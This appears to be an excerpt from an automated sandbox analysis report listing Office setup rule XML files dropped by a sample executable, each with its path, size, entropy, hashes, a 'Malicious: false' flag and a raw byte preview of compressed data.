Preview:	<?xml...1.....,.Z-...."...S..Q .d......p-..8h..h....5}. ....xH..mc.3....{.....w..G.S7..F.^p.5.JrN........{.M...<&m.'.._.."...S....!...F.......fD../.r@.G.H...!~.9..U.3H.!Z.qH2.....q.s..y..XA.XR...#.G...%....{$J..O.q..3su.....^......V).....an.9~oo.3.....!y.h.S.....l....2;m..>..-{..........U.7.s..9.`.6..4.0B..I[.9..S...p2c."PWG@..G......N..1..o......e.F.......Mz...._..K.Q.3....'.g.....`.0.. .D..-........4-..k..wF..nxf_^....t`..J.J8.p..v6\....+D...V...;.A.g`.BJ!.hhd..6.H^..fD.........%...6.2.i$.;c.-...O..z..Z]]b..[~rk\..?..6.B..Z..Y.>..........H.._$....`:>.8.D.......Q...3$=.yC.4.j......p...z...F..9.....X.@\|/....X.].....{....%..w`EG.~w.P..e...p..x..x~....f)..f....8...%./{@.)o~...=.Q.../0 ....^....p..u..s.S ...b.........J..'@P.&F.].W.pVv..d..................{.....C.Z.L#.m.j......./B.O?..K...".N..U......1..D.i...PS%.'..1.76*......(^F../.5...q;..Z..6.s.&.v.0....X.$.].....{....R.PC.. .K/.Z.}`..qB...n.......#='.T.f.,..%.....X...0....f.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10803v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.964165504215609
Encrypted:	false
SSDEEP:	96:3/NFLcQ96absfHNn8ycFs9/MYd8Ej/QegWuIgMBHcj69KtKsT0ncq99:vNFJ97bsnncFsiYd8tegWuIgk9Kl0cqT
MD5:	EE41A7C7762EACB93D09AF81C8245E39
SHA1:	8F801C11ADE2BC9DAF19DF21004614661F8E93AF
SHA-256:	AB821B74D98DCC73ED99D4EE8DE715915074B0D5AF763D0F7331CCEC456F4144
SHA-512:	FFAAF0C5F7211E51A12B1BF653BA1281F6DCF46579F1378A7EC66B1FC10A1993F546F972AF196531892E0B0BA99B62B1B3311A1E1DFBD2F93C9E46EDABDAC69D
Malicious:	false
Preview:	<?xml...(..~...Q>..B).A...xv...^.....;..O.-xz.~...Y)F...-.5...2i....Zi//.s..P.6k....}R.......k..U..o...X.~R...u^d..E........c...&a...._.P....h......"r...\p..-\|.l..{.z.......P.3....M..F......R..5....0...\If.&...Oq....?..6.\|^l.lw......L.s.A.$4.....eo.........T..C...hI2..S....`.].Wx../.....O..DV....!h.AI.#^....._$.lP.G.#...#e..U.^.M.'..."..3..L..2AA.xV9..O.x1..-g&((...&)..........s.....U..tMV._+B6.....;]....L.j........./..fS...........a..M./....$.v...{w...x9.n.......$Z.N....9.d.......Q...[..."....z:.%.8.=..l.Z.$....Y..[...Z@..s.H....5k5........Y-=....(.on.....By.JTb.~.......@......*....LAT.1bKy[e.G..(oa.6.w\..q.Nea\|...P6/..f...q.GE.A...T;j&.......7i..+>E...k.^../.Q.....4............o...u..i/.!TA.<...:..e..S....t..e.a..5\|.[.....p.....S.1...M.._...jT2...^...{...$:M4@z. O5.....w..g+.q....h....p"g7..1].A...G.0....RZ..<....A.J..{....>....:........Q1...6.....[~.........lp..P..D....D7..N..~.d..<.....8.t.Z%q..!.,G.:L.......Ve..c2.B..n".

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10807v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.850589365938241
Encrypted:	false
SSDEEP:	24:D/p8/E5ZIBuSpV5i024pBEmT9/PnSQv0RWHyPWV0UCs5UVxcf+1OXCqhVPEcRVoO:DhiuSt24nVnSQ0RWSPuYOXCyV8oS+FD
MD5:	FAB1E6DB3E28C5DB2D13BEEB4C2DAF2F
SHA1:	00C58FA11FE830EA1F54EF67AB17CB78EA5E6AB9
SHA-256:	EDF97300F382B70EC7B76A94FF938DA126461E29A401B44A6E7BB151219E4B0B
SHA-512:	60F360091514507C0C83FA2F4D773B7F9D0777D4FA3818645405C127C1A68C11AEADC256BF31E73D5158B6A2ECDD7ABB0F744A438C4F3138AA1B411682BD69E8
Malicious:	false
Preview:	<?xml.)...78..Oi.<......@..Y%T..f./p..c.z.....0.&v./.Y...C..$.[v"......ynb...}.....E.'A....D....t....?..."...D...,......(...-..b..d.q.At..j[...lr.........X.....]..,.1x.#...K'D..Cs..d.O.FZ..<..9Z.....W.../........Z!n&.y)o..JT./.......".R..5<....y..4.;....>W.[..Q.....]..._...sO.0.D[......R.H.uR.Y.[.zl.I...:.k.C#.Z.nW.....\.y..7b...>...B.S...\|..wC\...L...>....0...N....Vsa..x.,..:.f..I_.p..s"=.b..L..u.."F..X.=...#.....O.........B.G.r..g...f3....".B....W.....gPZ....w].~..G..x...K.=.%.6@.D..>..{....d...K.9..8..!.(\|>:.8T...h....\~...)7........G..<..9.`].};.#.6.)....$..'..T..zJ>.\.Vg.~.@.v....O...4j.G.u...U...#j\|.%..C.xj...M.LUa.z_.y.c.Kz4.......aejF...vTu.X.&..{....9.7........ZNO.....c.SQ&.....\....Q...WT..hyh..<;..'..A{.8OTm...By....m.aA...J.=.z.HiQ......q......V....C.K..C.....G....._7.....a^I..cN..DF..:.........( !b...J..4{.....2W..P..T....Us...T5b..+&:....z.b.E.....E..d9........... by.R..........;w......Q./.v.<.'.U...x........Q4...."..;..2.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10808v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.866303064868167
Encrypted:	false
SSDEEP:	24:j67ZRJsHNr5EXhSRLsngzucbodVSnNJ1A0R4OfrfqxISymUqT2ap/v23VbD:j2JUv4isngzDbod0nNvXR5DGby7gp/uN
MD5:	6B4B8E6CCE1A6458A134FF271E41BA46
SHA1:	174CA7DB439217F4014A17E6C5B969B24DDDE771
SHA-256:	2BA0782017C094393ABAAE825584C9233B29B413EE1AF8E82409C0FACAECA703
SHA-512:	B7D4B311093B0FDDD69F37F915336093DF11466A25B252DBAF345E8E3CADEE5454A9F290D13110CF03248FD4236680E609BAA510A164264115942DC38AC76245
Malicious:	false
Preview:	<?xml. .!.....}.?........J_.G../..Z...s.`.....0..rU.....a.J.p...a.Z~.]]k..s67..b@[....ov....k.f.V...P..`.@.n...1.D.pX....z ....S\|..6..$.9....i.0.......2Ac..>.0X..).....j.+pXxIIJU ]CZ..R.w.2L..".C.[..~.t.._....S...N...l..y.}t..)....F...M.S.'..dy.J....qN.....U.eV..u...,.....o.......F.Gx...>k..]y..@+..iD......O.XhB>..~1.c..I..@...=.N..&]..D.;4......4....W...,..W..=].~..+D..R..._.......hjB..z`=..nN#xz.....Pt........M;.t.... B...H.....5x^.b..../AY.....K...:..C..7....f.hp...iS.P...Z..w.cc2.....QL.s..U../J.v.ym.<....v.p.Z}~+..x......N).._'..UA9I.~,..,.....q.G....79.4....F." ..K.....E.h.d.Ci..v.0..!.L.R?.{..]...jP=..+.7{28..)..C....82..m.,....<.pY..'..0G..7.......j.F...w.......u...zh....b{.O...y...h.......' ....HZ.q...~...+...V...M..2...4......<..D..P..d.t(r..:....^/.~.....M06.mR...5.(at.C.e..b......X....U?.....f?.....^I..z...6..D..5..N..=>..4.#c=h.....5.z....`..K'.U..b.\|...[.R..]...!.T.+.......L..}.K..w+.......'?...v.(.*Gv..V0^.Kc..F...W....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10818v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.824365689089687
Encrypted:	false
SSDEEP:	24:c05cwQpF9WbHsmH0dwzSw4yDPe1UI3xKFTo3yi3L2KoWuVbD:cOTQqmwzSw4mPeVUFTky13FD
MD5:	0D92B2E9BA698AF3A0DB09AF9C3BE9DC
SHA1:	9AE448E687159FB76B1764DF31AD2FD7EB149038
SHA-256:	39CFA67CEC5866BF6ED34E8F85D7CFA26462CD88B9C878B2E815EF3287FA0635
SHA-512:	BD4E421D620AEA8263081C0C0CEFBAC20F8AAE9F5B682086F7A02F16FF5A2888C634DB1038277F1845CEBB3EDA635778C6A51F88159C1CDACD2EB10E906FF06E
Malicious:	false
Preview:	<?xml(..EX.eph"GNE./......a?..[........!.jQ.....w..K..-.t..O.M..;1'k..y.W..S.?.N.(..iC..S.w8....$K..:... r..,...\|.4g...@b.g{..n.L..Z..%_.J..o..;IXeH{G.U .a.(..T.<[....wD..3.5........i...xM..@..D.V..q....Z..)F{s................Akc.....L.........\|n.n..;.(...g......../j.\|...wi;q...q.NwQ.h.{..>.w..^.M.........NE1x.8..}......:....g..q.....n.[#...7$.[.p.k..........7:T.PC....u.=l.2.6w.2......3..rm...lw.n.t~....sm..F...[...6...../.F\..6.=-......P.....f...#............,......'.P.e..g,7.w...5%....o....s.I~.a......m.}j.$o.h.@d....#..g"P......9pM...{.N+6....h55...X.<Va.K.)..\|......@..)....K...l..y.".Wj.N...h.}.......F.f....a..e....^8.<..9G..#.x\|......."5.......^Z...<pO.....x....h..1..+.H...,W.4,......f..v>...R.h......U......F..wK....uf....9'!...b.y.3hB0..$EV<....6..E3t%..\|...'.....\|i.pjR..Bd..T..._~HB._.WYG.......T.&.".H.g6.~2H...9Y.UO{F....K.u$.....eA.+;O...s.W...._0.T..n`.%.Eh....1^..By.......1..+H...b!1.<.4.Kv.......n..l..\...ST...w..5.J...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10819v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.980109926256669
Encrypted:	false
SSDEEP:	192:EEsyn9+eO3ln7NpwNgACApdvyFu3dyCMdFt2X5OnKR75i5YmW:EM+eO3ln7NrrU9wVFbnu75i5pW
MD5:	26C8B330C877260FDC4AADF8945AC8AC
SHA1:	E87D8E9C40C0A705BA4919D9983F50CABF3B480F
SHA-256:	BE664F33E21E1C21C3182679852A0A64EE0297DE95A798089781D7EEDC2FBE54
SHA-512:	98B55809AC9B24BD4F6EFD37392EA1AEECC2227687E250CE997CB45A905546E19822339D0700CDB3CC9D61082B8BB32F9175FA07CF2BF934472D31CE05A7139A
Malicious:	false
Preview:	<?xml..b..l.".yOI..&.;7f.......d.M....l..(..u.`.{..\|].g....S...k..y.5.W_........9?.AV......m.......HwH.hSpA.V.8.Q..X.II..l.Q.-....Z..:$.b4H#..%.#..@Rf..nF...(.` ...Q.s.;,...."..}bC.>....f?...Qp.\|d.&G.\.......0.T...-T@._.kP.p.t...a8.i.6...W.T.P.w5.>d.Cs..v..... ..~...Q....g.E....tw:y...H.....]..)...4.s"~.".6-.+Y!...e.....KA......o?.wE\|...?.1..biV..p!..Y.R.g...y.z.&.c....D...A..r6...&.k.4.;.'\|.`.I........,.L.....`.....H.X.....a.'.V./+....B..q.....!o.'....0..0.um...<..`_...\|......l'.s..56..i. hT...tLd`.....<.n.....O./..........x...M.T..K.....~..rO...Nwm_i.....##Sm(UI.....".......?..a..Z...Mov..i.$..$.T..'.7W.7e.b\|.\|.....[..T.Z;........@.Y.O....PLh%...a..n...>}.X...Y3..#G.,.5.%...k........Y{.t...$...v9.R....z.pf.......9.6.....[.f...<<...n.K.=. ..6eR...p.N.z\[.$H..B....w/$..>S_9-..p.q.Q....._].Y..An._.;........_.ND......K.\+...Jw'..'=.l.w.H..#.^..(.w.&Q.J]......(5d.XrIW!.p.%........A.$.Pm.......&..........j.r2.....a..?..E.m.>K2.b.{Q..I2p[<z!S.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10820v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.966661837051309
Encrypted:	false
SSDEEP:	96:m5mn+9li2R+md7fuFaW99cxv+PiqEfzOk1zuDCSjEnK19:mUn+9lihRrGx2Pf2Ok1z6QnKb
MD5:	A1FBD450E2ABCC4E428DA1FC6792DEDD
SHA1:	D9616A949A930513E4DC690DD6611C44C36E8CD5
SHA-256:	F176A13DAF0CDEFECF27830CB29E3610C79E0DEEC01810AF5140BE463C432AF5
SHA-512:	F362E3452190B9DB381469BEA34F312CB1C62324C77F838C331002857DC4F083E86E7FEF212ED6824958D9C5A287DFFFC454566566E43A4CD5A5E5147AEF07C6
Malicious:	false
Preview:	<?xml...{x.K....N........m.S....y.<\|.......>...,..A".7.....j>.I..oO{2...f.uJ.[."o...$....k;A.........:...MG...#.q..t.....R.Zb.E._ErM.....Z.j...v.n8(1.UC..A......n.@.zqSV.5...!...}..,L....N....6..NF..^......7l8..F.l.~s'.....?..........V..._3 ..[.oJR..xTb)...0.^.neCy..."U.~.K...hb...Z...P..%$...K...`.L3. .;9...93....w...oCI...:./:..D......3...X.;....k.~i..`-.7.lI..v.#NB/.<.E..8_..U.......-.4~.!%.:1...N......>......>#E.(_...H...:%..... .M...0.C....T.V..Y....2ru......<..L.r.A.o..'G&MI.....{8..\|.e.D...5.'u../,.7}.Q{.k...7&.8R.g.._.g_.......T..gv..c.].C.t....6.........JfG...hi..7*o\$.gl{p`+......1. Z...t.:(......-[,..M.]..U.dr..F.]0I..-..F.s..%..u.{..^.Q.}.u.fn/j?....?....3Jx[.#.BX.rV.O.E".>.b.n......=.....WXF/l.C..eJ...[..A..A.41}...,.[.$m.....q.l.:.o~.....a.O.+8.`BA...V.<2.K.I-.,]}...I.`v.[..j.n....Xf.>...}7.....'.....LK.2...&.;..cuS...f.Qz...Z..k.6KG...z\.!d.'.oI..r........._.....u/U.=._'.U.C.i...U2..+ ..Q2......s.(..2..SX.9.;.v.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10821v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.962025430444166
Encrypted:	false
SSDEEP:	96:M3VoPwAXLZwfFvAXKwTKFA3o2tyyArLVvh1h9ZGFfNF9:M3mPwAXLedoBKFAAXrBR9qZ
MD5:	05F5768685E8AC882B1B85E0573AD3A8
SHA1:	E126FF057BDBF5CBF9308EC09FFD953F0B82D02B
SHA-256:	C393CCAD020612786AA3B0535B7DD18BE89BC5A8419971273ACA0D47733E7EEA
SHA-512:	E8A5FBB2921EB81A16128397F61D26B028F72D5745A47347DA387AF6A114CFACA2E82860FA997AC44C5FBFDFED6252DD3CBE60A5217666C30756CA3915AB85CE
Malicious:	false
Preview:	<?xml.[W........j .....I.!.u!Z..C.;...'....O......Q.U..e........Vs...Pf_.....C!.A....Z....-./8.r>Gu......s.\Be.....x.....z...\|..h.)_<\|m5.."..&...e.]\|.y@...?...Y.AD1.T5y...:(.......Te..~.Y... N...-._.....bo5. .G.P./\%._..[.....Gs{...4.....].K.l....W...w1.{{.......b..n...l}.;D&...h.....n.._Q..l......N....a....A...0s....U..+.-@.'.L./x..lg.:ZX...{}.XU../.ZSA.....T.8...^...Pb+.h\|d...p.n.....Y.@F.....`.Y.?...n.J........'.......%.%...-..K<..i~Sq^^..O...g...[AJ}.m.s.mW .,.......UBT#.. P.)..^.....xR.:..l.f]..8U.nm....Ssg.v.s.A...,.$6.i.(..P.\q....cp.f..[.]._...P.O/3..F....4...U...%c...e.."GfO..J........D...7Yw.pK^.Z.AjW.g.AazC...9...!_W...z/....I&Gl.u..Gx....n..........<0..J%UJv....O.............G.KUJ.s.i..Np..35?.9{o.;...l ...d'...(.....x....q>..E..;../..]?..k..*t.M8.X.)...e..if.j&.t.36......[.[..... 5.........F.dX.#......4....q..l..0/..N[>.U....9_>=.J.............t..2h.+.J..u@...#sM....$..n3.(......M!J..a^.....99.<.....Q.5.~Z&.Q...!I..!..['U..Nb.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10822v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.958126023019578
Encrypted:	false
SSDEEP:	96:N/reQHewbsHAxlI+lYwph9JoAgvNXuLve8opcI10os2MKGQ6J9:peAxsHGnYwphn6lsmLpcI1lfJUv
MD5:	AA76CB12974ED90FE73933164F260A00
SHA1:	EDF2FC592993E16D03A3F8CE948D70DC4A6952D1
SHA-256:	3D77FF0BC58D5BB74B08EB19B899B2F4CAD9D2619B255001891C13857629E2C5
SHA-512:	5E953E4ACD8F4B3B3386B64827C94E57B70839DE848A4E6060DCB01233008FFEEED5048E1CCD4101AB16BF174A808A558E3181A5A86552F57B2B0665C6A7BA24
Malicious:	false
Preview:	<?xml.M..<.r........,c-&$...v.....~.bS.......a.~O.;.j.a"..Mow.<{....a.4.&E[....:.......t...O..J.C..H..a.T.z...o......q./.S;sNd.Yw8.`.N^.@...3[..3k....-.I.c<&.......h.by,D.(.T..8z..j..Fi......G\|.W.Ue..j...C9JT.Vj..1....2..3#..&.&,j?...7.c.I=j9.......A7..b.D..v..+...rY7.S.w$..>Q).b..$..i..).....Lq2r..c.k..\|t..LR\..#....M.R)d............M...i..{...nV....f..i'._..s..d.e...."..........k.@.0.Y.._....1$:....mo.......Ww...a\|S..HG....,SD...^......!.\.v6b.G..cq.......w...b..} .R.68..Dn...9.o..j...~..8...IS...P..m..+R...K..u.p.].^....y...U.~....'...!...d...\|.3.k.H.4t.W.?E....@...Y.w.x.....OY.7.e.}j>DT......F........D-.....`...5....PGI..i.........OD).m..p.*K.Ah..J1..i.S..jS....d...,S.S...b.f...q.X....f6a.2.a._....B.Li..-.. .3.<.u.(.........RYO.,....}7..=.<>..E?.Q..I..g.........$&lU.Oc.PG.. .#:Z....H.t....k......if....U.9...\|>V.....FV ........g^W.4..Q.gl...j...r............?...(..I...F..\|m..e.}e=..}............:.1...S.eP..J...KVj.$..s.Ku2p).d....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10829v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.9415716475107985
Encrypted:	false
SSDEEP:	48:CVECEJVDaIiq421cxHTJ0KR/RhzALFz0S5QVuv7zBzmYBRG5CQpsgTOg1PFD:CVNyNagdSTZq5Q4v5zmORENsoOgp9
MD5:	2B5D1503ACB7D6B75ED37F920EA58162
SHA1:	318DCACABB3BC6878B20F38B15DAF3B898E32549
SHA-256:	F2F5B0A3A839134DCC60906F57503ED8E839A6BF50EB125647EB2FBBA433BFBF
SHA-512:	575C5C566633309FEC8A574DEF021A35F0575B535626A14943C8E4AEF1B80B3AFBA234A4CB26240DD5BA8B41605616352C64CF523330BEA067079D142ADF329B
Malicious:	false
Preview:	<?xml:.Z...Z..A..a.r!T.r.v.YH?.!...d[..........a.......2V.>..X.8...(...jMN..>(.#-...b..,5...&..9.G.o...e..k[.6..2..IS.j..f..E..U_........S.8^..R.G.sq....w.Nh...9.Vfy....N...cO.rP..M.....`.3...~.....M..}....Ip.........9..B.~p.?.....E......;..H...8......\.yu.b.N.u.x.=......x..<.Q....`..\|/..T.i.)..j..pW.HW.tz.l........$......m.s.....gP.Sz..V30......L..A./-....\|..z4.&.&i......U.;.CO...`...........ht....>.Yf.._.8p.....=..a..rl...Mj.@}..r...V.l...'.l....}av.1...!!.G.. ..X.d.!.G#.~O.%..KiQ}yBE.u_%y9"D<.XaL.G3.h.....G..~e......Dt?.o....mP....u...#..C([.....hi.._.43{=.f. :@.......K.O..X1...<....l.Q....:.<.#M..m..u.X.%.:Rw..zI.N.Y.}..@....O..i..yM-h0.K..l....AA.nOGDmh7..`~8....5...B..RStk..^..6<4.ya....8.......C-..P...Sd.e'.]......X..7..J.]....z...3.."=.>....}.....m....L5'3......h-.u1.......@.k..g......=.r....a.......4...A...Aw..\|..o..R...r..8.....i..D..QF......+./.x2..V.sL.....0z.........".....v...^..=.&c......".=.......,G.%K....-UA....:G..u.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10879v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.7347809426723995
Encrypted:	false
SSDEEP:	24:kQG4kPtAfIDwM6O+8R78+o5hMICLOD2rNZL4q/VbD:u4uMG+DhGLO+NZL4eFD
MD5:	53729BE9248549324621F0CC19F93564
SHA1:	4122A3CFBC69AAEB020AF858DC29D641ED532127
SHA-256:	167A7A16F97058DEFA308BE468B100D67A9B90CB247B5613FEB5D04A4B7CDDAC
SHA-512:	8ED17A77377DB82F0C3444B4E73A36F5BD6F915CF583AFF926FF83C1C9A5170E463C0B27511735F4782B3A582E0B83F24389A9DD38516024A97D7B666033A7B1
Malicious:	false
Preview:	<?xmlLg...nK=.......(}W=........E!...m..j\..S.J..k....W....).\|#. .{?W......:.A......kw.....[.g!x.A3d."......,.)...o.~%y,.a..A.[.6..T.k....U...].m......?.L"I...g.Noq.......sl..c0- Bc.8..=".. <..).6.>{.;:..L.J .....q........\..{{...D2...1....W...n.T.o..Z..K^Om.k..SY....s,...Y.-..v..3....).l..9ZNa.....'..?......,.yH...;.....jqG..=..'.n....8?3.<6..JF.....(..K..143..>X.... ...T).^\|.....Y._..{PY../.LI...F.....\|i...x(:.:..'..tg..8.1RN..y.DfS.&.\|<..w.\|....53..u..h}LU...<..h[8%............]yW.>(..z&{.Z.Q..7-..B0........cuI_..+b.&...03.B..>:.N...A.....qE..D...9.....1..k...y.!...<...B..$b..^#.I.#..}.w`.7W..Wlc..2..........#.=...uB..<...mo.D1.8Z@.r\r.5P..uP...Ah......M.7i..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10880v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.927051473802344
Encrypted:	false
SSDEEP:	48:K79X+GqxXSM5DC2ySx00hlzDNEK1VntUuPXOg9M9ol1X3f4WiaF1Dcpq6AVtbt6G:KhX/yiE2Gh3EKLnmuPXr9dX3gRaF5cpE
MD5:	8886B03BAF543FD0F8B604D4C27F0FB0
SHA1:	B9996E9773254118FAF19B192487C60834354EF4
SHA-256:	ECBC6117343721E733E150403326DE0719517F285FD1DA0D4A69789C5070A488
SHA-512:	8B27E4E53BA68D8F7B5AEEDA3ECEBCB19B82233FE91C36ACF53A87E1C9DD2629FA514074C1E2F193F8B8E2A63004111D8000FB7EBA3E3785A5230A42847A4924
Malicious:	false
Preview:	<?xmlU......=...-...B.....0...Ggb#q.....v:M...X.7.......J..Be..F1...)...k\|.Bm...k.g#..By$.Xm....._.A:.R.U...].Z..s<k.$..r.l.......&..7D"....6.bH....y.K...h...c.n1gyj.."L.8e.5....qRBR..9S..8#.=..H.:$..!I..l..6.L... ....)q.... ..]%p.t...[H.{.vu.L..:L......Q........._...E....1..."...Z.. l..DN...P...\|.....,..K.'.LP.[.F.e...#J>r\.....r..q..$........QO.k..{.=Z\|....w]].8..~$.q.~.d3$.P..`.......E..xU_O....U..1]K.\x\|......)...H...K..U.^.J.`6.FJ.M.....t.s..M.;s.5&-.}..6wkE.D.>.....r.O2........{z.V...y...7....q.u....{^......(^}.Y.4....dT.X..b.kWW...n..T5.k..\|8..........x1..fG.Mvi.0.....\|..r..%...M>..E:.s....4....".4B.f(.Y\0.4..4....2.8.T8._....@@%..d......e.8.E...).0..#..x..%...wM.v......_.b.J.1.X.,..8.Y....;zY.Y..7.... k...Fq..c.W...m..S..\]x%..1....9X..e.bS..K...y.t...K\5X\..$E..Q1p.(....d....w.UskH.Z..YCu.F...........x....%.JB....w.I."....."....!7....^.v!.P..A9.:.g......bO..v?...??Jx..f]r}k..h8....'f"........u/D...8...NF.~.j..w&.9.@.]RZU{....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.75643797740506
Encrypted:	false
SSDEEP:	12:c2VZ4frsHmaH8P9Ev5J5x6fiUsmbiVmkgtpqe5+BiU1aUuGWjtdGN2LXPqePvhj9:c2EDsNkK7S3sOMmbqLdwj2Ng/1PhVbD
MD5:	9DA1249DC5FA6969439B22BB64E780C1
SHA1:	6B6C15E3F56A8D3E417959C6F61CBA1DF4056FE6
SHA-256:	048279D6C140718924401C167FE162465FFC761165978580BBE7FDE10EEDA6C0
SHA-512:	F1040EC0E5FE307EF334D5822E3B7F35B1B24C8BD140580B50C12E6FF9570F46BB3BE58D0FD9BFA5871DBB6C27DAFE05E0C507D915F9E8D88A3F654F04380740
Malicious:	false
Preview:	<?xml.%.A.$.Pp..58...v..(..pr.Q...\|3._.Oe.X .=.td.....c.^Sp.N....N....8.{..n..."UP....I..A......9V.f...C>.....E.n...G.A...?.t.TD..HF3..\..q8M.a=.....Q.k.7./..MKpn.9.D.0.!..2.......p.n..L......M....~Z...#..Q.KGxd.HQ.d.#..B....eb.Xk..m..9...~y..Fl..$.....-7.]xJ....d~...n...S.!<..X.....J3...&..6..8.+}.n9.A.H.....&......b1^.K...E$p}.....hR..U.]4IQx.x..}....\|.......Y.D..@U..r.{.2H..Y.......=.L.z..cg+...K._k...`.n7a.q..$...K...C..y06......k.]X...\..u.JD0H.__...........6.....s<&.(N.b\S......:.M}.f"..)\|.'.?c...[.,.I.&..^.........M..1.P..4...,...TH=D..d..w..6...n. .....'4..u.8..o.......K.`.2..o&.v6.r.M.H`../..\|4M.........&4+..Z.~.z8.e.S.9{..{.er..80...'t. .....>...v.h.....q...*.P...S./I...y..g...~.P....j.....z[......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.945311077708309
Encrypted:	false
SSDEEP:	48:Mej1AKMBFlYp0SOTk5r73OKLnB0cyZvDY3JJY048Vymrs4FMMFJCzo3X7i/4JrLP:hAKMflJPAsKLqcyZvDYZ+0jVj1Iz5/4t
MD5:	65C276B516F414D178DA236D15863DDB
SHA1:	237065A9216DBEE3BA110305AFBB1BDC2B688786
SHA-256:	0556B1520C53B26DB5CB5E6DFA6D2AF1E2F9CC1FF3CC142780731FC32D005563
SHA-512:	0E2E972A915F6E0F14276247060AC984B5C3D0BEC82A1406F28D4162C729A43C7D27A2E8709081A1C727EE9B82AB0AE0050077DAD57135A4AF0AA3358965DBE8
Malicious:	false
Preview:	<?xml{.S.., .G.c.. ....[.;. .!.}.X./.gg.h}4r...S....O..."b....6cQkvl..!......cK..+B"...S.[.N..-g5($.!.!:.JJ.j.O/..$i....M.p......'.T\.JBBK..l.0:...X....M^.a.<..eX-.\|..Y.p.yZC;....w.Q@C.7$.P._g&.O.M.-....Q.U,=<.h.h.O......Pg..I..wzo........`H.r.V.F.dW.U.Z.~a{V"T.N...)..y.h.#`....}...DYD..R..}....o.........7!...~...e+.?R<..v.].y.y=..6GK......\|b..U@.\|`9.K.c....X4.c...6..17$%GN.T.o..X$..m...Q..t.....k.-C(./........5m.....T.......d!..If..r.S1.[!vpo.,X.(......?.p.......c.....l\|..T.{q..n\|.......<:.3.....{2..eGa.D.U8Y .........l......".o;..JY2;."1..)va...\|wZ.mZ..7......1#.x..e..S....F3v..c7.;.....>t....A..Y&...f....52..=...b...bnU.....{.K.?..M>gF.n...b.>k.T.1C....5.\..L..F....P...d..._4.X..v.%/i..).Xhh..5PAd.o......WX..} Q..w..SJ.....>j.x.V1..._;..U~.`.....P.m..m.q.\V...a.l.........../.%..5A.....t.5..r..E{p......!.ha.eO..P...:l.w.........L..s..I.g...F..ED..~..fn...........1d.$..<...)A]...B..u.!...-VU.g..g..%.'...l'(.oN.<..k.._......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.8311280558451895
Encrypted:	false
SSDEEP:	24:OWYwIaHjRhRnklSjrzuwLsSSoP+vbMnKrdK+v83uVbD:OWYojZfLuUsSoonsKWcuFD
MD5:	88FF76CDC8D3BA30C69AE24E95AC3998
SHA1:	179A816AF4F548EE088FAF59AA8AC51434F8C189
SHA-256:	2AA4A8FD530C5491743E12D2EB59D4ED8F3E0333C8BF5EAFE82B2D7BDBD2E14C
SHA-512:	16947CA5FBFBA064DDA3EC2F66504F78031F18E4160618DE4DC333611E051A62C610D679BD1B885C5CAD9BB2A1505F3AAD2C43AA54C267371ECD063BF3E44EA7
Malicious:	false
